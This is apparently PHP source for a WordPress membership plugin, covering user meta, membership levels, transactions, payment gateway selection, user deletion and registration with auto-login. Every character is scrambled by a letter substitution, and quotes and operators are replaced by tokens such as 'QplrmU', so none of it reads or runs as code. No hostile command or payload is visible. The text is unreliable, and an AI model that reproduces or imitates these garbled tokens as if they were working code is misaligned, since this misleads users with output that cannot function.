QTPMGUQplrmU.BnD_npu(SuBkBu!FulB).QplrmUQTPMGU ?8b	b uBkBu_vBh = QTPMGUQplrmU.BnD_npu(nmoxqnuFnyBn(SuBkBu5Bh)).QplrmUQTPMGUQplrmU)U } oBmlos SoBmlosU } qlEuxD AlsDmxrs lnBo$BFoDy(SvBh, SkFulB) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU SlnBo7c = SjqCE-QzmUzBm_kFo(QplrmU$b4bd# lnBo_xC a	13 QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU ?8b	b lnBo_vBh = QTPMGUQplrmU.BnD_npu(SvBh).QplrmUQTPMGU f2c lnBo_kFulB = QTPMGUQplrmU.BnD_npu(SkFulB).QplrmUQTPMGU 4737# OQplrmU)U xA (SlnBo7c QFtqUQFtqU xn_sltBoxD(SlnBo7c)) { oBmlos zBm_lnBo_Eh(QTPMGU7cQTPMGU, SlnBo7c)U } oBmlos sluuU } qlEuxD AlsDmxrs lnBo$Bmmxsz() { zurEFu SjqCEU zurEFu StBtEBozBsxlnU Suxnm = sluuU SkFulB = sluuU SFozn = AlsD_zBm_Fozn()U SlnBo7c = PU SlnBo5Bh = QplrmUQplrmUU SlnBo!FulB = QplrmUQplrmUU xA (Drlsm(SFozn) QzmU= M) { @uxnm(SlnBo7c, SlnBo5Bh, SlnBo!FulB) = SFoznU } BunBxA (Drlsm(SFozn) == N) { @uxnm(SlnBo7c, SlnBo5Bh) = SFoznU } BunBxA (Drlsm(SFozn) == O) { @uxnm(SlnBo7c) = SFoznU } xA (Vxn_FooFh(SFozn) || Drlsm(SFozn) == P) { oBmlosU } SoBmlos = sluuU xA (Drlsm(SFozn) == N) { SoBmlos = SjqCE-QzmUzBm_kFo(QplrmU$b4bd# lnBo_kFulB a	13 QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB .QplrmU ?8b	b lnBo_xC = QplrmU.xsmkFu(SlnBo7c). QplrmU f2c lnBo_vBh = QTPMGUQplrmU.BnD_npu(SlnBo5Bh).QplrmUQTPMGUQplrmU)U xA (nmoqrn(SoBmlos, QTPMGU{QTPMGU) V== AFunB) { StFhEB;snBoxFuxgB = @lsnBoxFuxgB(SoBmlos)U } BunB { StFhEB;snBoxFuxgB = SoBmlosU } oBmlos StFhEB;snBoxFuxgBU } BunBxA (Drlsm(SFozn) == N QFtqUQFtqU SlnBo!FulB === sluu) { 3BtEBo9Bsxln::DuBFodFDyB()U SjqCE-QzmUplBoh(QplrmUcb4b#b a	13 QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU ?8b	b lnBo_xC = QplrmU.xsmkFu(SlnBo7c).QplrmU f2c lnBo_vBh = QTPMGUQplrmU.BnD_npu(SlnBo5Bh).QplrmUQTPMGUQplrmU)U } BunB { 3BtEBo9Bsxln::DuBFodFDyB()U xA (xn_FooFh(SlnBo!FulB) || xn_rEwBDm(SlnBo!FulB)) { SlnBo!FulB = nBoxFuxgB(SlnBo!FulB)U } SjqCE-QzmUplBoh(QplrmU72$b	# 7921	b 72#1 QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU $b# lnBo_xC = QplrmU.xsmkFu(SlnBo7c).QplrmU, lnBo_vBh = QTPMGUQplrmU.BnD_npu(SlnBo5Bh).QplrmUQTPMGU, lnBo_kFulB=QTPMGUQplrmU.BnD_npu(nmoxqnuFnyBn(SlnBo!FulB)).QplrmUQTPMGUQplrmU)U SjqCE-QzmUplBoh(QplrmU;0cf#b 7921	b QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU $b# lnBo_xC=QplrmU.xsmkFu(SlnBo7c).QplrmU, lnBo_kFulB = QTPMGUQplrmU.BnD_npu(SlnBo!FulB).QplrmUQTPMGU ?8b	b lnBo_vBh = QTPMGUQplrmU.BnD_npu(nmoxqnuFnyBn(SlnBo5Bh)).QplrmUQTPMGUQplrmU)U } oBmlos SoBmlosU } AlsDmxrs rscBuBmB;nBo(SlnBo7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U SlnBo = xsmkFu(SlnBo7c)U SjqCE-QzmUplBoh(QplrmUcb4b#b a	13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b	b lnBo_xC = SlnBoQplrmU)U SjqCE-QzmUplBoh(QplrmUcb4b#b a	13 QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU ?8b	b lnBo_xC = SlnBoQplrmU)U } AlsDmxrs rscBuBmB0rnm(Sqrnm7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U Sqrnm = xsmkFu(Sqrnm7c)U SjqCE-QzmUplBoh(QplrmUcb4b#b a	13 QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU ?8b	b qrnm_xC = SqrnmQplrmU)U } AlsDmxrs zBm4BkBun(SlnBo=sluu) { zurEFu SjqCEU SuBkBun = FooFh()U SuBkBu&lBoh = SjqCE-QzmUzBm_oBnlumn( QplrmU$b4bd# QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU.*, d1;2#(lO.7c) Fn FDmxkB, QTPMGUPQTPMGU Fn DFsDBuBC a	13 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmUY         4ba# 6172 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU lO 12 (QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU.7c = lO.uBkBu_xC f2c lO.uBkBu_nmFmln = QTPMGUfQTPMGU)Y         9	1;0 eh QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU.7c 1	cb	 eh uBkBu_sFtBQplrmU )U AroBFDy (SuBkBu&lBoh Fn SuBkBu5Bh =QzmU Su) { SxC = Su-QzmU7cU SuBkBun[SxC] = SuU lsnBm(SuBkBu&lBoh[SuBkBu5Bh])U } SDFsDBu&lBoh = SjqCE-QzmUzBm_oBnlumn(QplrmU$b4bd# d1;2#(7c) f$ mrmFu, uBkBu_xC a	13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b	b uBkBu_nmFmln = QTPMGUdQTPMGU 9	1;0 eh uBkBu_xCQplrmU)U SDFsDBuBC = FooFh()U AroBFDy (SDFsDBu&lBoh Fn SD) { SD7C = SD-QzmUuBkBu_xCU xA (VxnnBm(SuBkBun[SD7C])) { DrsmxslBU } SuBkBun[SD7C]-QzmUDFsDBuBC = SD-QzmUmrmFuU } SnBmmxszn&lBoh = SjqCE-QzmUzBm_oBnlumn(QplrmU$b4bd# uBkBu_vBh, uBkBu_kFulB a	13 QplrmU.Smyxn-QzmUuBkBu$Bmmxszn#FEuB)U xA (SuBkBun QFtqUQFtqU xn_FooFh(SuBkBun) QFtqUQFtqU Drlsm(SuBkBun) QzmU P) { lFnrom(SuBkBun, FooFh(QFtqUSmyxn, QplrmUuBkBu$romQplrmU))U oBmlos SuBkBunU } oBmlos FooFh()U } AlsDmxrs uBkBu$rom(SF, SE) { oBmlos nmosFmDtq(SF-QzmUuBkBu_sFtB, SE-QzmUuBkBu_sFtB)U } AlsDmxrs zBm4BkBu(SuBkBu7c) { zurEFu SjqCEU SuBkBu = xsmkFu(SuBkBu7c)U oBmlos SjqCE-QzmUzBm_orj(QplrmU$b4bd# * a	13 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU ?8b	b 7c = SuBkBuQplrmU)U } AlsDmxrs zBm0FhtBsmaort8Fny(SyFny) { zurEFu SjqCEU SyFny = qoBz_oBquFDB(QTPMGU@[^F-gP-G]@nxQTPMGU, QTPMGUQTPMGU, SyFny)U xA (Btqmh(SyFny)) { oBmlosU } xA (SyFny == Smyxn-QzmUnBmmxsz(QplrmUqFhqFu_nBDoBmQplrmU)) { oBmlos sBj 3BtEBo9BsxlndFom0Fh0Fu()U } BunBxA (SyFny == Smyxn-QzmUnBmmxsz(QplrmUwkg_nBDoBmQplrmU)) { oBmlos sBj 3BtEBo9BsxlndFom6!<()U } BunBxA (SyFny == Smyxn-QzmUnBmmxsz(QplrmUDuxDvEFsv_nBDoBmQplrmU)) { oBmlos sBj 3BtEBo9BsxlndFomduxDvEFsv()U } BunBxA (SyFny == Smyxn-QzmUnBmmxsz(QplrmUjFooxroquln_nBDoBmQplrmU)) { oBmlos sBj 3BtEBo9BsxlndFom?Fooxro()U } BunBxA (SyFny == Smyxn-QzmUnBmmxsz(QplrmUmyoxkBDFom_nBDoBmQplrmU)) { oBmlos sBj 3BtEBo9BsxlndFom#yoxkB()U } } AlsDmxrs zBm4BkBuaort8Fny(SyFny) { zurEFu SjqCEU SyFny = qoBz_oBquFDB(QTPMGU@[^F-gP-G]@nxQTPMGU, QTPMGUQTPMGU, SyFny)U oBmlos SjqCE-QzmUzBm_orj(QplrmU$b4bd# * a	13 QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU ?8b	b uBkBu_yFny = QTPMGUQplrmU.BnD_npu(SyFny).QplrmUQTPMGUQplrmU)U } AlsDmxrs qoB;nBo&lBoh(Sp) { zurEFu SjqCEU SDlnmrt = AFunBU xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUtBtEBozBsxlnQplrmU]) QFtqUQFtqU Sp-QzmUplBoh_kFon[QplrmUtBtEBozBsxlnQplrmU] == QplrmUOQplrmU) { SDlnmrt = molBU } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUroCBoEhQplrmU]) QFtqUQFtqU Sp-QzmUplBoh_kFon[QplrmUroCBoEhQplrmU] == QplrmUuFnmurzxsQplrmU) { SroCBofCCxmxrs = Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU.lnBo_kFulB cb$dQplrmUU Sp-QzmUplBoh_roCBoEh = QplrmU1	cb	 eQplrmU.Dyo(HG). QplrmU QplrmU .SroCBofCCxmxrsU } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUDorsQplrmU])) { SDlnmrt = molBU SDors_mxtBnmFtq = @xsmkFu(Sp-QzmUplBoh_kFon[QplrmUDorsQplrmU])U xA (SDors_mxtBnmFtq QumU= O) { SDors_mxtBnmFtq = mxtB()U } SDors_CBFCuxsB = SDors_mxtBnmFtq-HJLPP+OHPPU Sp-QzmUplBoh_AxBuCn .= QplrmU, lnBo_kFulBQplrmUU Sp-QzmUplBoh_jyBoB = QplrmU4ba# 6172 QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU 12 (QplrmU.SjqCE-QzmUlnBon.QplrmU.7c = QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU.lnBo_xC f2c lnBo_vBh = QTPMGUDors4FnmQTPMGU) QplrmU . Sp-QzmUplBoh_jyBoB . QplrmU f2c (lnBo_kFulB 7$ 2;44 1	 lnBo_kFulB QumU QplrmU.SDors_CBFCuxsB.QplrmU)QplrmUU } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUroCBoEhQplrmU]) QFtqUQFtqU Sp-QzmUplBoh_kFon[QplrmUroCBoEhQplrmU] == QplrmUuFnmurzxsQplrmU) { SDlnmrt = molBU Sp-QzmUplBoh_jyBoB = QplrmU722b	 6172 QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU 12 (QplrmU.SjqCE-QzmUlnBon.QplrmU.7c = QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU.lnBo_xC f2c lnBo_vBh=QTPMGUurzxs4Fnm#xtBQTPMGU) QplrmU. Sp-QzmUplBoh_jyBoBU Sp-QzmUplBoh_AxBuCn .= QplrmU, lnBo_kFulB QplrmUU } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUnQplrmU]) QFtqUQFtqU VBtqmh(Sp-QzmUplBoh_kFon[QplrmUnQplrmU])) { SDlnmrt = molBU xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBu_nmFmlnQplrmU])) { lsnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBu_nmFmlnQplrmU])U } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBuQplrmU])) { lsnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBuQplrmU])U } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBunQplrmU])) { lsnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBunQplrmU])U } Sp-QzmUplBoh_jyBoB = QplrmU4ba# 6172 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU 12 (QplrmU.SjqCE-QzmUlnBon.QplrmU.7c = QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU.lnBo_xC f2c tBmF_vBh 72 (QTPMGUAxonm_sFtBQTPMGU, QTPMGUuFnm_sFtBQTPMGU)) QplrmU . Sp-QzmUplBoh_jyBoBU Sp-QzmUplBoh_jyBoB = QplrmU4ba# 6172 QplrmU.SjqCE-QzmUlnBotBmF.QplrmU 12 (7c = QplrmU.SjqCE-QzmUlnBotBmF.QplrmU.lnBo_xC) QplrmU. Sp-QzmUplBoh_jyBoBU xA (nmoqrn(Sp-QzmUplBoh_kFon[QplrmUnQplrmU], QTPMGU,QTPMGU)) { Sp-QzmUplBoh_jyBoB .= QTPMGU f2c (QTPMGUU SjyBoBn = FooFh()U AroBFDy (BiqurCB(QplrmU,QplrmU, Sp-QzmUplBoh_kFon[QplrmUnQplrmU]) Fn SnBFoDy) { SjyBoBn[] = QplrmU(lnBo_urzxs 475b QTPMGU%QplrmU.BnD_npu(SnBFoDy).QplrmU%QTPMGU 1	 lnBo_sxDBsFtB 475b QTPMGU%QplrmU.BnD_npu(SnBFoDy).QplrmU%QTPMGU 1	 lnBo_BtFxu 475b QTPMGU%QplrmU.BnD_npu(SnBFoDy).QplrmU%QTPMGU 1	 uBkBu_mis = QTPMGUQplrmU.BnD_npu(SnBFoDy).QplrmUQTPMGU 1	 tBmF_kFulB 475b QTPMGU%QplrmU.BnD_npu(SnBFoDy).QplrmU%QTPMGU)QplrmUU } Sp-QzmUplBoh_jyBoB .= xtqurCB(QplrmU 1	 QplrmU, SjyBoBn)U Sp-QzmUplBoh_jyBoB .= QTPMGU)QTPMGUU } BunB { SnBFoDy = BnD_npu(Sp-QzmUplBoh_kFon[QplrmUnQplrmU])U Sp-QzmUplBoh_jyBoB .= QTPMGU f2c (QTPMGUU Sp-QzmUplBoh_jyBoB .= QplrmUlnBo_urzxs 475b QTPMGU%QplrmU.BnD_npu(SnBFoDy).QplrmU%QTPMGU 1	 lnBo_sxDBsFtB 475b QTPMGU%QplrmU.BnD_npu(SnBFoDy).QplrmU%QTPMGU 1	 lnBo_BtFxu 475b QTPMGU%QplrmU.BnD_npu(SnBFoDy).QplrmU%QTPMGU 1	 uBkBu_mis = QTPMGUQplrmU.BnD_npu(SnBFoDy).QplrmUQTPMGU 1	 tBmF_kFulB 475b QTPMGU%QplrmU.BnD_npu(SnBFoDy).QplrmU%QTPMGUQplrmUU Sp-QzmUplBoh_jyBoB .= QTPMGU)QTPMGUU } } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBu_nmFmlnQplrmU])) { SDlnmrt = molBU Sp-QzmUplBoh_jyBoB .= QTPMGU f2c uBkBu_nmFmln = QplrmUQTPMGU.BnD_npu(Sp-QzmUplBoh_kFon[QplrmUuBkBu_nmFmlnQplrmU]).QTPMGUQplrmUQTPMGUU } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBunQplrmU])) { SDlnmrt = molBU Sp-QzmUplBoh_Aort .= QTPMGU, QTPMGU.Smyxn-QzmUlnBo#FEuBU Sp-QzmUplBoh_jyBoB .= QTPMGU f2c uBkBu_xC 72 (QTPMGU.BnD_npu(Sp-QzmUplBoh_kFon[QplrmUuBkBunQplrmU]).QTPMGU)QTPMGUU Sp-QzmUplBoh_jyBoB .= QplrmU f2c lnBo_xC = QplrmU.SjqCE-QzmUlnBon.QplrmU.7cQplrmUU } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBuQplrmU])) { SDlnmrt = molBU Sp-QzmUplBoh_Aort .= QTPMGU, QTPMGU.Smyxn-QzmUlnBo#FEuBU Sp-QzmUplBoh_jyBoB .= QTPMGU f2c uBkBu_xC = QTPMGU.xsmkFu(Sp-QzmUplBoh_kFon[QplrmUuBkBuQplrmU])U Sp-QzmUplBoh_jyBoB .= QplrmU f2c lnBo_xC = QplrmU.SjqCE-QzmUlnBon.QplrmU.7cQplrmUU } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBu_FAmBoQplrmU])) { SDlnmrt = molBU Sp-QzmUplBoh_jyBoB .= QTPMGU f2c uBkBu_CFmB QzmU= a	13_;27>#73b(QTPMGU.xsmkFu(Sp-QzmUplBoh_kFon[QplrmUuBkBu_FAmBoQplrmU]).QTPMGU)QTPMGUU } xA (xnnBm(Sp-QzmUplBoh_kFon[QplrmUuBkBu_EBAroBQplrmU])) { SDlnmrt = molBU Sp-QzmUplBoh_jyBoB .= QTPMGU f2c uBkBu_CFmB QumU= a	13_;27>#73b(QTPMGU.xsmkFu(Sp-QzmUplBoh_kFon[QplrmUuBkBu_EBAroBQplrmU]).QTPMGU)QTPMGUU } xA (SDlnmrt) { Sp-QzmUplBoh_AxBuCn .= QTPMGU, QTPMGU.SjqCE-QzmUlnBon.QTPMGU.7c f$ 7cQTPMGUU Sp-QzmUplBoh_roCBoEh = QTPMGU 9	1;0 eQTPMGU.Dyo(HG).QTPMGU QTPMGU.SjqCE-QzmUlnBon.QTPMGU.7c QTPMGU.Sp-QzmUplBoh_roCBoEhU } xA (DlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { } oBmlos SpU } AlsDmxrs zBm3BtEBon(SplBoh=QplrmUQplrmU) { SFozn = jq_qFonB_Fozn(SplBoh)U SlnBon = zBm_lnBon(SFozn)U SnmFmln = FooFh()U SuBkBun = FooFh()U SnBFoDy = sluuU xA (xnnBm(SFozn[QplrmUroCBoEhQplrmU]) QFtqUQFtqU SFozn[QplrmUroCBoEhQplrmU] == QplrmUAxonm_sFtBQplrmU) { lnrom(SlnBon, FooFh(QFtqUSmyxn, QplrmUnromaxonmsFtBQplrmU))U } xA (xnnBm(SFozn[QplrmUroCBoEhQplrmU]) QFtqUQFtqU SFozn[QplrmUroCBoEhQplrmU] == QplrmUuFnm_sFtBQplrmU) { lnrom(SlnBon, FooFh(QFtqUSmyxn, QplrmUnrom4FnmsFtBQplrmU))U } xA (xnnBm(SFozn[QplrmUroCBoEhQplrmU]) QFtqUQFtqU SFozn[QplrmUroCBoEhQplrmU] == QplrmUoFsCQplrmU) { lnrom(SlnBon, FooFh(QFtqUSmyxn, QplrmUnrom	FsCrtQplrmU))U } oBmlos SlnBonU } AlsDmxrs nrom	FsCrt(SF, SE) { SDrxs = oFsC(P, O)U oBmlos (SDrxs == P) W -O : OU } AlsDmxrs nromaxonmsFtB(SF, SE) { oBmlos nmoDtq(SF-QzmUAxonm_sFtB, SE-QzmUAxonm_sFtB)U } AlsDmxrs nrom4FnmsFtB(SF, SE) { xA (SF-QzmUuFnm_sFtB == SE-QzmUuFnm_sFtB) { oBmlos Smyxn-QzmUnromaxonmsFtB(SF, SE)U } oBmlos nmoDtq(SF-QzmUuFnm_sFtB, SE-QzmUuFnm_sFtB)U } AlsDmxrs zBm3BtEBon$xsDB(SnxsDB#xtB=P, Snmrqfm=-O) { zurEFu SjqCEU SnxsDB = xsmkFu(SnxsDB#xtB)U xA (Snmrqfm QzmU -O) { } BunB { oBmlos SjqCE-QzmUzBm_oBnlumn(QplrmU$b4bd# uBkBu_xC, d1;2#(*) f$ mrmFu a	13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b	b uBkBu_CFmB QzmU a	13_;27>#73b(QplrmU.SnxsDB.QplrmU) 9	1;0 eh uBkBu_xCQplrmU)U } } AlsDmxrs zBm3BtEBodrlsm(SnmFmln=sluu, SAortcFmB=sluu, SmrcFmB=sluu) { zurEFu SjqCEU SjyBoB = FooFh(SjqCE-QzmUlnBon.QplrmU.7c = QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU.lnBo_xCQplrmU)U xA (SnmFmln) { SjyBoB[] = QplrmUuBkBu_nmFmln = QTPMGUQplrmU.BnD_npu(SnmFmln).QplrmUQTPMGUQplrmUU } xA (SAortcFmB) { SjyBoB[] = QplrmUuBkBu_CFmB QzmU= a	13_;27>#73b(QplrmU.xsmkFu(SAortcFmB).QplrmU)QplrmUU } xA (SmrcFmB) { SjyBoB[] = QplrmUuBkBu_CFmB QumU a	13_;27>#73b(QplrmU.xsmkFu(SmrcFmB).QplrmU)QplrmUU } xA (Drlsm(SjyBoB) QzmU P) { SjyBoB = QplrmU?8b	b QplrmU . xtqurCB(QplrmU f2c QplrmU, SjyBoB)U } BunB { SjyBoB = oBnBm(SjyBoB)U } SjqCE-QzmUplBoh(QplrmU$b4bd# QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU.* a	13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU, QplrmU.SjqCE-QzmUlnBon.QplrmU SjyBoB 9	1;0 eQplrmU.Dyo(HG).QplrmU lnBo_xC 1	cb	 eQplrmU.Dyo(HG).QplrmU uBkBu_CFmB f$dQplrmU)U oBmlos xsmkFu(SjqCE-QzmUslt_orjn)U } AlsDmxrs CBuBmB;nBo(SlnBo7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U SDlooBsm_lnBo = jq_zBm_DlooBsm_lnBo()U SlnBo = xsmkFu(SlnBo7c)U xA (SlnBo == SDlooBsm_lnBo-QzmU7c) { oBmlosU } jq_CBuBmB_lnBo(SlnBo)U Smyxn-QzmUrscBuBmB;nBo(SlnBo)U } AlsDmxrs CBuBmB#Btq(SmBtq7c) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU 3BtEBo9Bsxln::DuBFodFDyB()U oBmlos SjqCE-QzmUplBoh(QplrmUcb4b#b a	13 QplrmU.Smyxn-QzmUmBtq#FEuB.QplrmU ?8b	b xC = QplrmU.xsmkFu(SmBtq7c))U } AlsDmxrs DrtquBmB#Btq(SmBtq7c, SrkBojoxmB=FooFh()) { zurEFu StBtEBozBsxlnU xA (SmBtq = StBtEBozBsxln-QzmUtrCBu-QzmUzBm#Btqaort7c(SmBtq7c)) { StBmFCFmF = SmBtq-QzmUmBtq_tBmFCFmFU AroBFDy (SrkBojoxmB Fn SvBh=QzmUSkFulB) { StBmFCFmF[SvBh] = SkFulBU } SkFon = FooFh( QplrmUFDmxrsQplrmU =QzmU QplrmUtBtEBozBsxln_oBzxnmBoQplrmU, QplrmUtBtEBozBsxln_mBtqQplrmU =QzmU SmBtq-QzmUmis_xC, QplrmUtBtEBozBsxln_lnBosFtBQplrmU =QzmU StBmFCFmF[QplrmUlnBosFtBQplrmU], QplrmUtBtEBozBsxln_uBkBuQplrmU =QzmU xsmkFu(StBmFCFmF[QplrmUuBkBuQplrmU]), QplrmUtBtEBozBsxln_AxonmsFtBQplrmU =QzmU StBmFCFmF[QplrmUAxonmsFtBQplrmU], QplrmUtBtEBozBsxln_uFnmsFtBQplrmU =QzmU StBmFCFmF[QplrmUuFnmsFtBQplrmU], QplrmUtBtEBozBsxln_BtFxuQplrmU =QzmU StBmFCFmF[QplrmUBtFxuQplrmU], QplrmUtBtEBozBsxln_qFnnjroCOQplrmU =QzmU QplrmUQplrmU )U AroBFDy (SrkBojoxmB Fn SvBh =QzmU SkFulB) { xA (nmoqrn(SvBh, QplrmUnrDxFu_QplrmU) === P) { SkFon[SvBh] = SkFulBU } } xA (Sjq_lnBo = zBm_lnBo_Eh(QTPMGUBtFxuQTPMGU, StBmFCFmF[QplrmUBtFxuQplrmU])) { SFCC = Smyxn-QzmUFCC(Sjq_lnBo-QzmU7c, StBmFCFmF[QplrmUuBkBuQplrmU], SmBtq-QzmUmis_xC)U xA (SFCC) { StBtEBozBsxln-QzmUtrCBu-QzmUoBtrkB#Btq(SmBtq-QzmUmis_xC)U xA (Vxn_FCtxs() QFtqUQFtqU VDlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU)) { jq_nBm_Flmy_DrrvxB(Sjq_lnBo-QzmU7c)U Cr_FDmxrs(QTPMGUjq_urzxsQTPMGU, Sjq_lnBo-QzmUlnBo_urzxs, Sjq_lnBo)U S_01$#[QTPMGUurzQTPMGU] = Sjq_lnBo-QzmUlnBo_urzxsU yBFCBo(QplrmU4rDFmxrs:QplrmU.yrtB_lou())U CxB()U } } } xA (Sjq_lnBo = zBm_lnBo_Eh(QTPMGUurzxsQTPMGU, StBmFCFmF[QplrmUlnBosFtBQplrmU])) { SkFon[QplrmUtBtEBozBsxln_lnBosFtBQplrmU] = StBmFCFmF[QplrmUBtFxuQplrmU]U } oBmlos StBtEBozBsxln-QzmUFCtxs-QzmUDoBFmB(SkFon)U } BunB { oBmlos sBj ?0_booro(QplrmUsrmBtqQplrmU, QplrmU7skFuxC mBtq 7c.QplrmU)U } } AlsDmxrs lqCFmB4BkBucFmB(SlnBo7c, SuBkBu7c, SmxtBnmFtq) { zurEFu SjqCEU xA (VSlnBo7c || VSuBkBu7c) { oBmlos AFunBU } SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SsBjcFmB = @xsmkFu(nmomrmxtB(SmxtBnmFtq))U xA (SsBjcFmB QumU= O) { oBmlos AFunBU } SmyBcFmB = ztCFmB(Dyo(HG).QplrmU-t-C 8:x:nQplrmU, SsBjcFmB)U oBmlos SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU $b# uBkBu_CFmB = QTPMGUQplrmU.BnD_npu(SmyBcFmB).QplrmUQTPMGU ?8b	b lnBo_xC = SlnBo f2c uBkBu_xC = SuBkBuQplrmU)U } AlsDmxrs lqCFmB#oFsnFDmxrs(SlnBo7c, SuBkBu7c, SsBj#oFsnFDmxrs) { zurEFu SjqCEU xA (VSlnBo7c || VSuBkBu7c) { oBmlos AFunBU } SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SsBj#oFsnFDmxrs = moxt(nmoxqnuFnyBn(SsBj#oFsnFDmxrs))U oBmlos SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU $b# uBkBu_mis = QTPMGUQplrmU.BnD_npu(SsBj#oFsnFDmxrs).QplrmUQTPMGU ?8b	b lnBo_xC = SlnBo f2c uBkBu_xC = SuBkBuQplrmU)U } AlsDmxrs nBm$lEnDoxEBC(SlnBo7c, SuBkBu7c, SnmFmln=molB) { zurEFu SjqCEU zurEFu StBtEBozBsxlnU xA (VSlnBo7c || VSuBkBu7c) { oBmlos AFunBU } SlnBo = xsmkFu(SlnBo7c)U SuBkBu = xsmkFu(SuBkBu7c)U SsBj$mFmln = (SnmFmln) W O : PU oBmlos SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU $b# uBkBu_nlEnDoxEBC = QTPMGUQplrmU.BnD_npu(SsBj$mFmln).QplrmUQTPMGU ?8b	b lnBo_xC = SlnBo f2c uBkBu_xC = SuBkBuQplrmU)U } AlsDmxrs zBm#Btqaort7c(SxC) { zurEFu SjqCEU xA (VSxC) { oBmlos AFunBU } SmBtq = SjqCE-QzmUzBm_orj(QplrmU$b4bd# * a	13 QplrmU.Smyxn-QzmUmBtq#FEuB.QplrmU ?8b	b 7c = QTPMGUQplrmU.xsmkFu(SxC).QplrmUQTPMGUQplrmU)U xA (xnnBm(SmBtq-QzmUmBtq_tBmFCFmF)) { xA (nmoqrn(SmBtq-QzmUmBtq_tBmFCFmF, QTPMGU{QTPMGU) V== AFunB) { SmBtq-QzmUmBtq_tBmFCFmF = lsnBoxFuxgB(SmBtq-QzmUmBtq_tBmFCFmF)U } } oBmlos SmBtqU } AlsDmxrs zBm#Btqaort#oFsnFDmxrs(SmoFsnFDmxrs) { zurEFu SjqCEU xA (VSmoFsnFDmxrs) { oBmlos AFunBU } SmBtq = SjqCE-QzmUzBm_orj(QplrmU$b4bd# * a	13 QplrmU.Smyxn-QzmUmBtq#FEuB.QplrmU ?8b	b mis_xC = QTPMGUQplrmU.BnD_npu(SmoFsnFDmxrs).QplrmUQTPMGUQplrmU)U xA (xnnBm(SmBtq-QzmUmBtq_tBmFCFmF)) { xA (nmoqrn(SmBtq-QzmUmBtq_tBmFCFmF, QTPMGU{QTPMGU) V== AFunB) { SmBtq-QzmUmBtq_tBmFCFmF = lsnBoxFuxgB(SmBtq-QzmUmBtq_tBmFCFmF)U } } oBmlos SmBtqU } AlsDmxrs zBm;nBo7Caort#oFsnFDmxrs(SmoFsnFDmxrs) { zurEFu SjqCEU xA (VSmoFsnFDmxrs) { oBmlos AFunBU } SplBoh = QplrmU$b4bd# lnBo_xC a	13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b	b uBkBu_mis = QTPMGUQplrmU.BnD_npu(SmoFsnFDmxrs).QplrmUQTPMGUQplrmUU oBmlos xsmkFu(SjqCE-QzmUzBm_kFo(SplBoh))U } AlsDmxrs zBm4BkBunaort#oFsnFDmxrs(SmoFsnFDmxrs) { zurEFu SjqCEU xA (VSmoFsnFDmxrs) { oBmlos AFunBU } SplBoh = QplrmU$b4bd# uBkBu_xC a	13 QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU ?8b	b uBkBu_mis = QTPMGUQplrmU.BnD_npu(SmoFsnFDmxrs).QplrmUQTPMGUQplrmUU oBmlos SjqCE-QzmUzBm_Dru(SplBoh)U } 